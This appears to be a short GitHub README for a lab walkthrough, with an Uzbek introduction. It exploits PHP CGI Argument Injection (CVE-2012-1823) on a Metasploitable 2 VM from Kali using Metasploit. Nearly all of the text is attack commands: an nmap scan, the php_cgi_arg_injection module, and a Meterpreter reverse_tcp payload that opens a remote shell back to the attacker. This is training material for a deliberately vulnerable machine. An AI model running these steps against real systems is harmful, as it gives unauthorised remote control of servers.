nulltrace1336/php-cgi-argument-injection-exploitUshbu videoda Kali Linux orqali Metasploitable 2 serveriga PHP CGI Argument Injection (CVE-2012-1823) ekspluatatsiyasi Metasploit yordamida amalga oshiriladi
Determine the Metasploitable IP from Kali:
ip a
For example:
Kali: 192.168.56.101
Metasploitable2: 192.168.56.102
Let's check the port and service:
nmap -p 80 192.168.56.102
You can also check in the browser:
msfconsole
search php cgi
The correct module:
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.56.102
set RPORT 80
set TARGETURI /
Let's choose the payload:
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
Let's verify:
show options
run
or
exploit
If successful:
Meterpreter session 1 opened
sysinfo
whoami